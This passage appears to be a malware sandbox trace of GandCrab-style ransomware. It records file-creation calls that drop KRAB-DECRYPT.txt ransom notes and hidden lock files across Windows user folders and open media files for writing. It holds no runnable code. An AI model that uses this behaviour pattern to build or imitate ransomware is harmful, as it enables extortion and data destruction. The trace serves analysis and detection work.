Create C:\Users\CIiHmnxMn6Ps\Pictures\Saved Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\ukEE7sv0fc.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\PrintHood\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\PrintHood\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Recent\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Recent\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Saved Games\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Saved Games\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Searches\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Searches\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Searches\Everywhere.search-ms desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Searches\Indexed Locations.search-ms desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\SendTo\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\SendTo\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Start Menu\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Start Menu\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Templates\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Templates\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\1076.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\1EUx04bviY.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\421-3GjN8PT.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\8t9IfizPiwWNK.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\ACxYn16W6qa lSf.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\DTAVJefrIDMBlRs.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\gdDM rSXWI6cQL.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\h0 0epvFfjNglYIr--X.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\hFvoPiEIjgGSSo.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\Iap8KgCPIUNqJqQqBf5.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\ImEAuC3_z_LZH mv7.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\IRpB4BeeLt.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\ltzwV9YVPTug.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\LWv8Gyj-GU7qhFGKVALQ.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\nGc3KZ_nMJWqHr6CmK.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\nuK3RE6rv -7B-qIaU.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\QeK8bVN5spGjBJbu.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\qGC1rwul3tRGFI4JarwF.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\0GjVnPW0A1Ty.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\FtOY.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\JOKLlidRP.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\qVLMfOzUE.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\Tn91PxHxbNLkQYSD329r.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\x-6Wz-eBuP1F8rehH Z.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\r5vM1f4inO3CYTwdbU\zf-4pco0oHyKp_.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\Rv_JGkW.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\TEjMJz3BzM9Zxn.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\Xvq7np7-gUA.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\yfNv18pnZu7NIl.avi desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\Yu_oR_Jf.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Videos\Z2dB.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Application Data\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\AppData\Local\Application Data\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\Default\AppData\Local\History\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\History\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\Gadgets\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\Gadgets\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Microsoft\Windows Sidebar\settings.ini desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\AppData\Local\Temp\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Temp\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Temporary Internet Files\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Local\Temporary Internet Files\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Application Data\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\Application Data\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Cookies\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Cookies\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Desktop\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Desktop\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Documents\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Documents\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Documents\My Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Downloads\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Downloads\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Favorites\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Favorites\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Links\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Links\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\My Documents\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\My Documents\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\NetHood\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\NetHood\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\NTUSER.DAT.LOG1 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\NTUSER.DAT.LOG2 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Default\Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\PrintHood\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\PrintHood\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Recent\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Recent\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Saved Games\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Saved Games\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\SendTo\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\SendTo\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Start Menu\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Start Menu\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Templates\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Default\Templates\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default\Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default\Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Default User\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Default User\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\AccountPictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\AccountPictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Desktop\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Desktop\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Documents\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Documents\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Documents\My Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Downloads\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Downloads\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Libraries\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\Public\Libraries\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Libraries\RecordedTV.library-ms desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\Public\Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\Public\Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\Public\Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
